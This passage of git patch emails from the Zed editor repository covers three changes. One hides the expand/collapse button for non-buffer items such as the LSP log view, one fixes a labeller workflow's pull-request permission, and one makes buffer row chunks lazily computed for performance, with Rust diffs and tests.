- [ ] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>
<img width="3824" height="2482" alt="CleanShot 2026-07-23 at 11 18
37@2x"
src="https://github.com/user-attachments/assets/f435ca07-5eb0-4c16-b567-ea066dbc0ccd"
/>

</details>

<details>
  <summary>After</summary>
<img width="3776" height="2482" alt="CleanShot 2026-07-23 at 11 19
53@2x"
src="https://github.com/user-attachments/assets/b94e59cf-8888-470f-acd1-3bb1b714e62d"
/>

</details>

---

Release Notes:

- Fixed issue where "Collapse All Files"/"Expand All Files" button was
being shown in LSP Log View
---
 crates/search/src/buffer_search.rs | 159 ++++++++++++++++++++++++++---
 1 file changed, 144 insertions(+), 15 deletions(-)

diff --git a/crates/search/src/buffer_search.rs b/crates/search/src/buffer_search.rs
index b4818a1160bc92..f1f81a40527a60 100644
--- a/crates/search/src/buffer_search.rs
+++ b/crates/search/src/buffer_search.rs
@@ -976,20 +976,10 @@ impl BufferSearchBar {
     // We provide an expand/collapse button if we are in a multibuffer
     // and not doing a project search.
     fn needs_expand_collapse_option(&self, cx: &App) -> bool {
-        if let Some(item) = &self.active_searchable_item {
-            let buffer_kind = item.buffer_kind(cx);
-
-            if buffer_kind == ItemBufferKind::Singleton {
-                return false;
-            }
-
-            let workspace::searchable::SearchOptions {
-                find_in_results, ..
-            } = item.supported_options(cx);
-            !find_in_results
-        } else {
-            false
-        }
+        self.active_searchable_item.as_ref().is_some_and(|item| {
+            item.buffer_kind(cx) == ItemBufferKind::Multibuffer
+                && !item.supported_options(cx).find_in_results
+        })
     }
 
     fn toggle_fold_all(&mut self, _: &ToggleFoldAll, window: &mut Window, cx: &mut Context<Self>) {
@@ -1883,7 +1873,7 @@ mod tests {
         display_map::DisplayRow, test::editor_test_context::EditorTestContext,
     };
     use futures::stream::StreamExt as _;
-    use gpui::{Hsla, TestAppContext, UpdateGlobal, VisualTestContext};
+    use gpui::{FocusHandle, Hsla, TestAppContext, UpdateGlobal, VisualTestContext};
     use language::{Buffer, Point};
     #[cfg(target_os = "macos")]
     use project::Project;
@@ -1892,6 +1882,7 @@ mod tests {
     use util_macros::perf;
     #[cfg(target_os = "macos")]
     use workspace::{AppState, MultiWorkspace, Workspace};
+    use workspace::{item::Item, searchable::SearchableItem};
 
     fn init_globals(cx: &mut TestAppContext) {
         cx.update(|cx| {
@@ -3611,6 +3602,144 @@ mod tests {
         );
     }
 
+    #[perf]
+    #[gpui::test]
+    async fn test_no_expand_collapse_option_when_item_is_not_buffer_backed(
+        cx: &mut TestAppContext,
+    ) {
+        // Items that are backed by neither a singleton buffer nor a
+        // multibuffer, for example, the LSP log view, report
+        // `ItemBufferKind::None` and must not show the expand/collapse all
+        // files button.
+
+        // A searchable item that reports `ItemBufferKind::None`, like the LSP
+        // log view.
+        struct NonBufferSearchableItem {
+            focus_handle: FocusHandle,
+        }
+
+        impl EventEmitter<()> for NonBufferSearchableItem {}
+        impl EventEmitter<SearchEvent> for NonBufferSearchableItem {}
+
+        impl Focusable for NonBufferSearchableItem {
+            fn focus_handle(&self, _: &App) -> FocusHandle {
+                self.focus_handle.clone()
+            }
+        }
+
+        impl Render for NonBufferSearchableItem {
+            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+                div()
+            }
+        }
+
+        impl Item for NonBufferSearchableItem {
+            type Event = ();
+
+            fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
+                "Non-buffer item".into()
+            }
+
+            fn as_searchable(
+                &self,
+                handle: &Entity<Self>,
+                _: &App,
+            ) -> Option<Box<dyn SearchableItemHandle>> {
+                Some(Box::new(handle.clone()))
+            }
+
+            fn buffer_kind(&self, _: &App) -> ItemBufferKind {
+                ItemBufferKind::None
+            }
+        }
+
+        impl SearchableItem for NonBufferSearchableItem {
+            type Match = ();
+
+            fn clear_matches(&mut self, _: &mut Window, _: &mut Context<Self>) {}
+            fn update_matches(
+                &mut self,
+                _: &[Self::Match],
+                _: Option<usize>,
+                _: SearchToken,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) {
+            }
+            fn query_suggestion(
+                &mut self,
+                _: Option<SeedQuerySetting>,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) -> String {
+                String::new()
+            }
+            fn activate_match(
+                &mut self,
+                _: usize,
+                _: &[Self::Match],
+                _: SearchToken,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) {
+            }
+            fn select_matches(
+                &mut self,
+                _: &[Self::Match],
+                _: SearchToken,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) {
+            }
+            fn replace(
+                &mut self,
+                _: &Self::Match,
+                _: &SearchQuery,
+                _: SearchToken,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) {
+            }
+            fn find_matches(
+                &mut self,
+                _: Arc<SearchQuery>,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) -> Task<Vec<Self::Match>> {
+                Task::ready(Vec::new())
+            }
+            fn active_match_index(
+                &mut self,
+                _: Direction,
+                _: &[Self::Match],
+                _: SearchToken,
+                _: &mut Window,
+                _: &mut Context<Self>,
+            ) -> Option<usize> {
+                None
+            }
+        }
+
+        init_globals(cx);
+        let window = cx.add_window(|window, cx| {
+            let item = cx.new(|cx| NonBufferSearchableItem {
+                focus_handle: cx.focus_handle(),
+            });
+            let mut search_bar = BufferSearchBar::new(None, window, cx);
+            search_bar.set_active_pane_item(Some(&item), window, cx);
+            search_bar
+        });
+        let search_bar = window.root(cx).unwrap();
+        let cx = VisualTestContext::from_window(*window, cx).into_mut();
+
+        search_bar.read_with(cx, |search_bar, cx| {
+            assert!(
+                !search_bar.needs_expand_collapse_option(cx),
+                "Items reporting ItemBufferKind::None must not get the expand/collapse button"
+            );
+        });
+    }
+
     #[perf]
     #[gpui::test]
     async fn test_hides_and_uses_secondary_when_part_of_project_search(cx: &mut TestAppContext) {

From 9a8e09be0ad1f325faf4ea989cc821e3a6924866 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Thu, 23 Jul 2026 12:28:16 +0000
Subject: [PATCH 661/772] Fix permission for pull request labelling script
 (#61525)

While its the `issues` API we use for labelling, it seems that GitHub
still wants PR permissions for those. Hence, fixing here.

Release Notes:

- N/A
---
 .github/workflows/pr_issue_labeler.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/pr_issue_labeler.yml b/.github/workflows/pr_issue_labeler.yml
index f783db10c1ba18..27e4dc86a98bd8 100644
--- a/.github/workflows/pr_issue_labeler.yml
+++ b/.github/workflows/pr_issue_labeler.yml
@@ -36,7 +36,7 @@ jobs:
           repositories: zed
           permission-issues: write
           permission-members: read
-          permission-pull-requests: read
+          permission-pull-requests: write
 
       - id: apply-authorship-label
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1

From 146a6bf9cd0d9d405e88998e86ab0f0357ab8607 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Thu, 23 Jul 2026 13:36:40 +0000
Subject: [PATCH 662/772] Calculate buffer chunks lazily (#61523)

<img width="1728" height="1084" alt="image"
src="https://github.com/user-attachments/assets/a560b10a-6e26-43ff-b830-c528e2dc6798"
/>

Before, each edit in a 50 MB plaintext file would trigger a lot of
anchor calculations (as chunk is 50 lines only) done on main thread +
did extra work when no language grammar or brackets were available.

The PR now moves all anchor calculations into `computed_chunks:
Mutex<HashMap<usize, RowChunk>>,` cache miss.
`TreeSitterData` is wrapped in `Arc` and shared as a part of the
snapshot, hence the need for `Mutex` and internal mutability here.

Trace after the changes:

<img width="1728" height="1084" alt="image"
src="https://github.com/user-attachments/assets/cb258980-8461-4559-b725-aef63c835e60"
/>


Release Notes:

- Improved input performance in large files

---------

Co-authored-by: Finn Evers <finn@zed.dev>
---
 crates/editor/src/bracket_colorization.rs     |  10 +-
 crates/editor/src/editor.rs                   |   6 +-
 crates/editor/src/inlays/inlay_hints.rs       |  21 +-
 crates/language/src/buffer.rs                 |  36 ++-
 crates/language/src/buffer/row_chunk.rs       | 114 ++++---
 crates/language/src/buffer_tests.rs           |  74 +++++
 crates/project/src/lsp_store.rs               | 294 ++++++++----------
 crates/project/src/lsp_store/inlay_hints.rs   |   5 +
 .../project/src/lsp_store/semantic_tokens.rs  |  26 +-
 9 files changed, 344 insertions(+), 242 deletions(-)

diff --git a/crates/editor/src/bracket_colorization.rs b/crates/editor/src/bracket_colorization.rs
index a0ae9022b32b66..d69f6162bd20e5 100644
--- a/crates/editor/src/bracket_colorization.rs
+++ b/crates/editor/src/bracket_colorization.rs
@@ -43,10 +43,18 @@ impl Editor {
                 else {
                     return false;
                 };
-                LanguageSettings::for_buffer(buffer.read(cx), cx).colorize_brackets
+                let buffer = buffer.read(cx);
+                buffer
+                    .language()
+                    .is_some_and(|language| language.grammar().is_some())
+                    && LanguageSettings::for_buffer(buffer, cx).colorize_brackets
             })
             .collect();
 
+        if !invalidate && (accents.is_empty() || excerpt_data.is_empty()) {
+            return;
+        }
+
         let mut fetched_tree_sitter_chunks = excerpt_data
             .iter()
             .filter_map(|(_, _, excerpt_range)| {
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 1756d19d4905f3..f5a05444fc4631 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -2064,8 +2064,12 @@ impl Editor {
                         if editor.buffer().read(cx).buffer(buffer_id).is_some() {
                             editor.register_buffer(buffer_id, cx);
                             editor.refresh_runnables(Some(buffer_id), window, cx);
+                            editor.invalidate_semantic_tokens(Some(buffer_id));
                             editor.update_lsp_data(Some(buffer_id), window, cx);
-                            editor.refresh_inlay_hints(InlayHintRefreshReason::NewLinesShown, cx);
+                            editor.refresh_inlay_hints(
+                                InlayHintRefreshReason::LanguageServerRegistered,
+                                cx,
+                            );
                             refresh_linked_ranges(editor, window, cx);
                             editor.refresh_code_actions_for_selection(window, cx);
                             editor.refresh_document_highlights(cx);
diff --git a/crates/editor/src/inlays/inlay_hints.rs b/crates/editor/src/inlays/inlay_hints.rs
index de657c4aa629de..56cd3e4fc6eb8a 100644
--- a/crates/editor/src/inlays/inlay_hints.rs
+++ b/crates/editor/src/inlays/inlay_hints.rs
@@ -234,6 +234,7 @@ pub enum InlayHintRefreshReason {
     NewLinesShown,
     BufferEdited(BufferId),
     ServerRemoved,
+    LanguageServerRegistered,
     RefreshRequested { server_id: LanguageServerId },
     BuffersRemoved(Vec<BufferId>),
 }
@@ -320,10 +321,12 @@ impl Editor {
             InlayHintRefreshReason::ModifiersChanged(_)
             | InlayHintRefreshReason::Toggle(_)
             | InlayHintRefreshReason::SettingsChange(_)
-            | InlayHintRefreshReason::ServerRemoved => true,
-            InlayHintRefreshReason::NewLinesShown
-            | InlayHintRefreshReason::RefreshRequested { .. }
-            | InlayHintRefreshReason::BuffersRemoved(_) => false,
+            | InlayHintRefreshReason::ServerRemoved
+            | InlayHintRefreshReason::LanguageServerRegistered
+            | InlayHintRefreshReason::RefreshRequested { .. } => true,
+            InlayHintRefreshReason::NewLinesShown | InlayHintRefreshReason::BuffersRemoved(_) => {
+                false
+            }
             InlayHintRefreshReason::BufferEdited(buffer_id) => {
                 let Some(affected_language) = self
                     .buffer()
@@ -363,7 +366,9 @@ impl Editor {
             return;
         };
 
-        if invalidate_cache.should_invalidate() {
+        if invalidate_cache.should_invalidate()
+            && !matches!(reason, InlayHintRefreshReason::RefreshRequested { .. })
+        {
             if invalidate_hints_for_buffers.is_empty() {
                 inlay_hints.clear();
             } else {
@@ -536,7 +541,8 @@ impl Editor {
                 return None;
             }
             InlayHintRefreshReason::ServerRemoved => InvalidationStrategy::BufferEdited,
-            InlayHintRefreshReason::NewLinesShown => InvalidationStrategy::None,
+            InlayHintRefreshReason::NewLinesShown
+            | InlayHintRefreshReason::LanguageServerRegistered => InvalidationStrategy::None,
             InlayHintRefreshReason::BufferEdited(_) => InvalidationStrategy::BufferEdited,
             InlayHintRefreshReason::RefreshRequested { server_id } => {
                 InvalidationStrategy::RefreshRequested {
@@ -820,6 +826,9 @@ impl Editor {
         // Hence, clear all excerpts' hints in the multi buffer: later, the invalidated ones will re-trigger the LSP query, the rest will be restored
         // from the cache.
         if invalidate_cache.should_invalidate() {
+            for hint_id in &visible_inlay_hint_ids {
+                inlay_hints.added_hints.remove(hint_id);
+            }
             hints_to_remove.extend(visible_inlay_hint_ids);
 
             // When invalidating, this task removes ALL visible hints for the buffer
diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index d63e588a364229..67db23e04cee08 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -144,25 +144,21 @@ pub struct Buffer {
 #[derive(Debug)]
 pub struct TreeSitterData {
     chunks: RowChunks,
-    brackets_by_chunks: Mutex<Vec<Option<Vec<BracketMatch<usize>>>>>,
+    brackets_by_chunks: Mutex<HashMap<usize, Vec<BracketMatch<usize>>>>,
 }
 
 const MAX_ROWS_IN_A_CHUNK: u32 = 50;
 
 impl TreeSitterData {
     fn clear(&mut self, snapshot: &text::BufferSnapshot) {
-        self.chunks = RowChunks::new(&snapshot, MAX_ROWS_IN_A_CHUNK);
+        self.chunks = RowChunks::new(snapshot, MAX_ROWS_IN_A_CHUNK);
         self.brackets_by_chunks.get_mut().clear();
-        self.brackets_by_chunks
-            .get_mut()
-            .resize(self.chunks.len(), None);
     }
 
     fn new(snapshot: &text::BufferSnapshot) -> Self {
-        let chunks = RowChunks::new(&snapshot, MAX_ROWS_IN_A_CHUNK);
         Self {
-            brackets_by_chunks: Mutex::new(vec![None; chunks.len()]),
-            chunks,
+            chunks: RowChunks::new(snapshot, MAX_ROWS_IN_A_CHUNK),
+            brackets_by_chunks: Mutex::new(HashMap::default()),
         }
     }
 
@@ -4824,6 +4820,13 @@ impl BufferSnapshot {
         known_chunks: Option<&HashSet<Range<BufferRow>>>,
     ) -> HashMap<Range<BufferRow>, Vec<BracketMatch<usize>>> {
         let mut all_bracket_matches = HashMap::default();
+        if self
+            .language
+            .as_ref()
+            .is_none_or(|language| language.grammar().is_none())
+        {
+            return all_bracket_matches;
+        }
 
         for chunk in self
             .tree_sitter_data
@@ -4836,8 +4839,11 @@ impl BufferSnapshot {
             let chunk_range = chunk.anchor_range();
             let chunk_range = chunk_range.to_offset(&self);
 
-            if let Some(cached_brackets) =
-                &self.tree_sitter_data.brackets_by_chunks.lock()[chunk.id]
+            if let Some(cached_brackets) = self
+                .tree_sitter_data
+                .brackets_by_chunks
+                .lock()
+                .get(&chunk.id)
             {
                 all_bracket_matches.insert(chunk.row_range(), cached_brackets.clone());
                 continue;
@@ -5101,11 +5107,11 @@ impl BufferSnapshot {
                 (bracket_match.open_range.start, bracket_match.open_range.end)
             });
 
-            if let empty_slot @ None =
-                &mut self.tree_sitter_data.brackets_by_chunks.lock()[chunk.id]
-            {
-                *empty_slot = Some(all_brackets.clone());
-            }
+            self.tree_sitter_data
+                .brackets_by_chunks
+                .lock()
+                .entry(chunk.id)
+                .or_insert_with(|| all_brackets.clone());
             all_bracket_matches.insert(chunk.row_range(), all_brackets);
         }
 
diff --git a/crates/language/src/buffer/row_chunk.rs b/crates/language/src/buffer/row_chunk.rs
index c0528544c15c10..605299f67f0c6c 100644
--- a/crates/language/src/buffer/row_chunk.rs
+++ b/crates/language/src/buffer/row_chunk.rs
@@ -1,9 +1,11 @@
 //! A row chunk is an exclusive range of rows, [`BufferRow`] within a buffer of a certain version, [`Global`].
 //! All but the last chunk are of a constant, given size.
 
-use std::{ops::Range, sync::Arc};
+use std::{collections::BTreeSet, ops::Range};
 
-use text::{Anchor, OffsetRangeExt as _, Point};
+use collections::HashMap;
+use parking_lot::Mutex;
+use text::{Anchor, Point};
 use util::RangeExt;
 
 use crate::BufferRow;
@@ -16,87 +18,97 @@ use crate::BufferRow;
 /// Together, chunks form entire document at a particular version [`Global`].
 /// Each chunk is queried for inlays as `(start_row, 0)..(end_exclusive, 0)` via
 /// <https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#inlayHintParams>
-#[derive(Clone)]
+///
+/// Chunk boundaries are derived arithmetically from the buffer's last row.
+/// Each chunk's anchors are computed when the chunk is first queried and memoized:
+/// resolving an anchor requires sum tree seeks, which gets expensive if done for
+/// all chunks of a large buffer at once.
 pub struct RowChunks {
-    chunks: Arc<[RowChunk]>,
-    version: clock::Global,
+    buffer_snapshot: text::BufferSnapshot,
+    last_row: BufferRow,
+    max_rows_per_chunk: u32,
+    computed_chunks: Mutex<HashMap<usize, RowChunk>>,
 }
 
 impl std::fmt::Debug for RowChunks {
     fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
         f.debug_struct("RowChunks")
-            .field("chunks", &self.chunks)
+            .field("len", &self.len())
+            .field("max_rows_per_chunk", &self.max_rows_per_chunk)
+            .field("computed_chunks", &self.computed_chunks.lock().len())
             .finish()
     }
 }
 
 impl RowChunks {
     pub fn new(snapshot: &text::BufferSnapshot, max_rows_per_chunk: u32) -> Self {
-        let buffer_point_range = (0..snapshot.len()).to_point(&snapshot);
-        let last_row = buffer_point_range.end.row;
-        let chunks = (buffer_point_range.start.row..=last_row)
-            .step_by(max_rows_per_chunk as usize)
-            .collect::<Vec<_>>();
-        let last_chunk_id = chunks.len() - 1;
-        let chunks = chunks
-            .into_iter()
-            .enumerate()
-            .map(|(id, chunk_start)| {
-                let start = Point::new(chunk_start, 0);
-                let end_exclusive = (chunk_start + max_rows_per_chunk).min(last_row);
-                let end = if id == last_chunk_id {
-                    Point::new(end_exclusive, snapshot.line_len(end_exclusive))
-                } else {
-                    Point::new(end_exclusive, 0)
-                };
-                RowChunk {
-                    id,
-                    start: chunk_start,
-                    end_exclusive,
-                    start_anchor: snapshot.anchor_before(start),
-                    end_anchor: snapshot.anchor_after(end),
-                }
-            })
-            .collect::<Vec<_>>();
         Self {
-            chunks: Arc::from(chunks),
-            version: snapshot.version().clone(),
+            last_row: snapshot.max_point().row,
+            buffer_snapshot: snapshot.clone(),
+            max_rows_per_chunk,
+            computed_chunks: Mutex::new(HashMap::default()),
         }
     }
 
     pub fn version(&self) -> &clock::Global {
-        &self.version
+        self.buffer_snapshot.version()
     }
 
     pub fn len(&self) -> usize {
-        self.chunks.len()
+        (self.last_row / self.max_rows_per_chunk) as usize + 1
     }
 
     pub fn applicable_chunks(&self, ranges: &[Range<Point>]) -> impl Iterator<Item = RowChunk> {
-        let row_ranges = ranges
-            .iter()
+        let last_chunk_id = self.len() - 1;
+        let mut chunk_ids = BTreeSet::new();
+        for point_range in ranges {
             // Be lenient and yield multiple chunks if they "touch" the exclusive part of the range.
             // This will result in LSP hints [re-]queried for more ranges, but also more hints already visible when scrolling around.
-            .map(|point_range| point_range.start.row..point_range.end.row + 1)
-            .collect::<Vec<_>>();
-        self.chunks
-            .iter()
-            .filter(move |chunk| -> bool {
-                let chunk_range = chunk.row_range().to_inclusive();
-                row_ranges
-                    .iter()
-                    .any(|row_range| chunk_range.overlaps(&row_range))
-            })
-            .copied()
+            let row_range = point_range.start.row..point_range.end.row + 1;
+            let first_id = (point_range.start.row.div_ceil(self.max_rows_per_chunk) as usize)
+                .saturating_sub(1);
+            let last_id =
+                ((point_range.end.row / self.max_rows_per_chunk) as usize).min(last_chunk_id);
+            for id in first_id..=last_id {
+                if self.chunk_row_range(id).to_inclusive().overlaps(&row_range) {
+                    chunk_ids.insert(id);
+                }
+            }
+        }
+        chunk_ids.into_iter().map(|id| self.chunk(id))
     }
 
     pub fn previous_chunk(&self, chunk: RowChunk) -> Option<RowChunk> {
-        if chunk.id == 0 {
+        if chunk.id == 0 || chunk.id > self.len() {
             None
         } else {
-            self.chunks.get(chunk.id - 1).copied()
+            Some(self.chunk(chunk.id - 1))
         }
     }
+
+    fn chunk_row_range(&self, id: usize) -> Range<BufferRow> {
+        let start = id as u32 * self.max_rows_per_chunk;
+        start..(start + self.max_rows_per_chunk).min(self.last_row)
+    }
+
+    fn chunk(&self, id: usize) -> RowChunk {
+        *self.computed_chunks.lock().entry(id).or_insert_with(|| {
+            let row_range = self.chunk_row_range(id);
+            let start = Point::new(row_range.start, 0);
+            let end = if id == self.len() - 1 {
+                Point::new(row_range.end, self.buffer_snapshot.line_len(row_range.end))
+            } else {
+                Point::new(row_range.end, 0)
+            };
+            RowChunk {
+                id,
+                start: row_range.start,
+                end_exclusive: row_range.end,
+                start_anchor: self.buffer_snapshot.anchor_before(start),
+                end_anchor: self.buffer_snapshot.anchor_after(end),
+            }
+        })
+    }
 }
 
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index bef99224bd550f..57068230404144 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -1474,6 +1474,80 @@ fn test_bracket_colorization_indices_remain_stable_across_row_chunks(cx: &mut Ap
     }
 }
 
+#[test]
+fn test_applicable_row_chunks() {
+    let text = (0..125)
+        .map(|row| format!("line {row}\n"))
+        .collect::<String>();
+    let buffer = TextBuffer::new(ReplicaId::LOCAL, BufferId::new(1).unwrap(), text);
+    let snapshot = buffer.snapshot();
+    let chunks = row_chunk::RowChunks::new(snapshot, 10);
+    assert_eq!(chunks.len(), 13);
+
+    let row_ranges = |ranges: &[Range<Point>]| {
+        chunks
+            .applicable_chunks(ranges)
+            .map(|chunk| chunk.row_range())
+            .collect::<Vec<_>>()
+    };
+
+    assert_eq!(
+        row_ranges(&[Point::new(15, 0)..Point::new(17, 3)]),
+        vec![10..20],
+        "Range in the middle of a chunk should yield that chunk only"
+    );
+    assert_eq!(
+        row_ranges(&[Point::new(10, 0)..Point::new(12, 0)]),
+        vec![0..10, 10..20],
+        "Range starting exactly at a chunk boundary should also touch the previous chunk"
+    );
+    assert_eq!(
+        row_ranges(&[Point::new(5, 0)..Point::new(9, 0)]),
+        vec![0..10],
+        "Range ending before a chunk boundary should not touch the next chunk"
+    );
+    assert_eq!(
+        row_ranges(&[Point::new(5, 0)..Point::new(10, 0)]),
+        vec![0..10, 10..20],
+        "Range ending exactly at a chunk boundary should touch the next chunk"
+    );
+    assert_eq!(
+        row_ranges(&[
+            Point::new(112, 0)..Point::new(112, 0),
+            Point::new(15, 0)..Point::new(16, 0),
+            Point::new(11, 0)..Point::new(18, 0),
+        ]),
+        vec![10..20, 110..120],
+        "Chunks for multiple ranges should be deduplicated and sorted"
+    );
+
+    let all_chunks = chunks
+        .applicable_chunks(&[Point::zero()..Point::new(125, 0)])
+        .collect::<Vec<_>>();
+    assert_eq!(
+        all_chunks.iter().map(|chunk| chunk.id).collect::<Vec<_>>(),
+        (0..13).collect::<Vec<_>>()
+    );
+    assert_eq!(all_chunks[12].row_range(), 120..125);
+    for chunk in &all_chunks {
+        assert_eq!(
+            chunk.start_anchor.to_point(snapshot),
+            Point::new(chunk.start, 0)
+        );
+        assert_eq!(
+            chunk.end_anchor.to_point(snapshot),
+            Point::new(chunk.end_exclusive, 0)
+        );
+    }
+    assert_eq!(
+        chunks
+            .applicable_chunks(&[Point::zero()..Point::new(125, 0)])
+            .collect::<Vec<_>>(),
+        all_chunks,
+        "Memoized chunks should be identical to the initially computed ones"
+    );
+}
+
 #[gpui::test]
 fn test_enclosing_bracket_ranges_where_brackets_are_not_outermost_children(cx: &mut App) {
     let mut assert = |selection_text, bracket_pair_texts| {
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 4d2795b86273ed..8a0d37adda8c90 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -156,7 +156,7 @@ pub use document_links::{
 pub use folding_ranges::LspFoldingRange;
 pub use fs::*;
 pub use language::Location;
-pub use lsp_store::inlay_hints::{CacheInlayHints, InvalidationStrategy};
+pub use lsp_store::inlay_hints::{CacheInlayHints, CacheInlayHintsTask, InvalidationStrategy};
 #[cfg(any(test, feature = "test-support"))]
 pub use prettier::FORMAT_SUFFIX as TEST_PRETTIER_FORMAT_SUFFIX;
 #[cfg(any(test, feature = "test-support"))]
@@ -4161,6 +4161,11 @@ impl<T> RunningFetch<T> {
     }
 }
 
+enum ChunkFetch {
+    Cached(CacheInlayHints),
+    Running(CacheInlayHintsTask),
+}
+
 fn notify_server_capabilities_updated(server: &LanguageServer, cx: &mut Context<LspStore>) {
     if let Some(capabilities) = serde_json::to_string(&server.capabilities()).ok() {
         cx.emit(LspStoreEvent::LanguageServerUpdate {
@@ -7694,20 +7699,24 @@ impl LspStore {
         cx: &mut Context<Self>,
     ) -> HashMap<Range<BufferRow>, Task<Result<CacheInlayHints>>> {
         let next_hint_id = self.next_hint_id.clone();
+        let current_servers = self.relevant_server_ids_for_capability_check(&buffer, cx);
         let lsp_data = self.latest_lsp_data(&buffer, cx);
         let query_version = lsp_data.buffer_version.clone();
-        let mut lsp_refresh_requested = false;
-        let for_server = if let InvalidationStrategy::RefreshRequested { server_id } = invalidate {
-            lsp_refresh_requested = lsp_data
+        if let InvalidationStrategy::RefreshRequested { server_id } = invalidate {
+            lsp_data
                 .inlay_hints
                 .invalidate_for_server_refresh(server_id);
-            Some(server_id)
-        } else {
-            None
-        };
+        }
         let existing_inlay_hints = &mut lsp_data.inlay_hints;
+        existing_inlay_hints
+            .fetched_servers
+            .retain(|server_id| current_servers.contains(server_id));
+        let missing_servers = current_servers
+            .difference(&existing_inlay_hints.fetched_servers)
+            .copied()
+            .collect::<HashSet<_>>();
         let known_chunks = known_chunks
-            .filter(|(known_version, _)| !lsp_data.buffer_version.changed_since(known_version))
+            .filter(|(known_version, _)| !query_version.changed_since(known_version))
             .map(|(_, known_chunks)| known_chunks)
             .unwrap_or_default();
 
@@ -7717,9 +7726,6 @@ impl LspStore {
             .map(|range| range.to_point(&buffer_snapshot))
             .collect::<Vec<_>>();
 
-        let mut hint_fetch_tasks = Vec::new();
-        let mut cached_inlay_hints = None;
-        let mut ranges_to_query = None;
         let applicable_chunks = existing_inlay_hints
             .applicable_chunks(ranges.as_slice())
             .filter(|chunk| !known_chunks.contains(&chunk.row_range()))
@@ -7728,103 +7734,65 @@ impl LspStore {
             return HashMap::default();
         }
 
-        for row_chunk in applicable_chunks {
-            match (
-                existing_inlay_hints
-                    .cached_hints(&row_chunk)
-                    .filter(|_| !lsp_refresh_requested)
-                    .cloned(),
-                existing_inlay_hints
-                    .fetched_hints(&row_chunk)
-                    .as_ref()
-                    .filter(|_| !lsp_refresh_requested)
-                    .cloned(),
-            ) {
-                (None, None) => {
-                    let chunk_range = row_chunk.anchor_range();
-                    ranges_to_query
-                        .get_or_insert_with(Vec::new)
-                        .push((row_chunk, chunk_range));
-                }
-                (None, Some(fetched_hints)) => hint_fetch_tasks.push((row_chunk, fetched_hints)),
-                (Some(cached_hints), None) => {
-                    for (server_id, cached_hints) in cached_hints {
-                        if for_server.is_none_or(|for_server| for_server == server_id) {
-                            cached_inlay_hints
-                                .get_or_insert_with(HashMap::default)
-                                .entry(row_chunk.row_range())
-                                .or_insert_with(HashMap::default)
-                                .entry(server_id)
-                                .or_insert_with(Vec::new)
-                                .extend(cached_hints);
-                        }
-                    }
-                }
-                (Some(cached_hints), Some(fetched_hints)) => {
-                    hint_fetch_tasks.push((row_chunk, fetched_hints));
-                    for (server_id, cached_hints) in cached_hints {
-                        if for_server.is_none_or(|for_server| for_server == server_id) {
-                            cached_inlay_hints
-                                .get_or_insert_with(HashMap::default)
-                                .entry(row_chunk.row_range())
-                                .or_insert_with(HashMap::default)
-                                .entry(server_id)
-                                .or_insert_with(Vec::new)
-                                .extend(cached_hints);
-                        }
-                    }
-                }
-            }
-        }
+        let mut chunk_hint_tasks = HashMap::default();
+        for chunk in applicable_chunks {
+            let cached_hints = existing_inlay_hints.cached_hints(&chunk).cloned();
+            let running_fetch = existing_inlay_hints.fetched_hints(&chunk).clone();
+            let servers_to_query = if cached_hints.is_none() && running_fetch.is_none() {
+                Some(None)
+            } else if missing_servers.is_empty() {
+                None
+            } else {
+                Some(Some(missing_servers.clone()))
+            };
 
-        if hint_fetch_tasks.is_empty()
-            && ranges_to_query
-                .as_ref()
-                .is_none_or(|ranges| ranges.is_empty())
-            && let Some(cached_inlay_hints) = cached_inlay_hints
-        {
-            cached_inlay_hints
-                .into_iter()
-                .map(|(row_chunk, hints)| (row_chunk, Task::ready(Ok(hints))))
-                .collect()
-        } else {
-            for (chunk, range_to_query) in ranges_to_query.into_iter().flatten() {
-                // When a server refresh was requested, other servers' cached hints
-                // are unaffected by the refresh and must be included in the result.
-                // Otherwise apply_fetched_hints (with should_invalidate()=true)
-                // removes all visible hints but only adds back the requesting
-                // server's new hints, permanently losing other servers' hints.
-                let other_servers_cached: CacheInlayHints = if lsp_refresh_requested {
-                    lsp_data
-                        .inlay_hints
-                        .cached_hints(&chunk)
-                        .cloned()
-                        .unwrap_or_default()
-                } else {
-                    HashMap::default()
+            let Some(servers_to_query) = servers_to_query else {
+                match running_fetch {
+                    Some(running_fetch) => chunk_hint_tasks
+                        .insert(chunk.row_range(), ChunkFetch::Running(running_fetch)),
+                    None => chunk_hint_tasks.insert(
+                        chunk.row_range(),
+                        ChunkFetch::Cached(cached_hints.unwrap_or_default()),
+                    ),
                 };
+                continue;
+            };
 
-                let next_hint_id = next_hint_id.clone();
-                let buffer = buffer.clone();
-                let query_version = query_version.clone();
-                let new_inlay_hints = cx
-                    .spawn(async move |lsp_store, cx| {
-                        let new_fetch_task = lsp_store.update(cx, |lsp_store, cx| {
-                            lsp_store.fetch_inlay_hints(for_server, &buffer, range_to_query, cx)
-                        })?;
-                        new_fetch_task
-                            .await
-                            .and_then(|new_hints_by_server| {
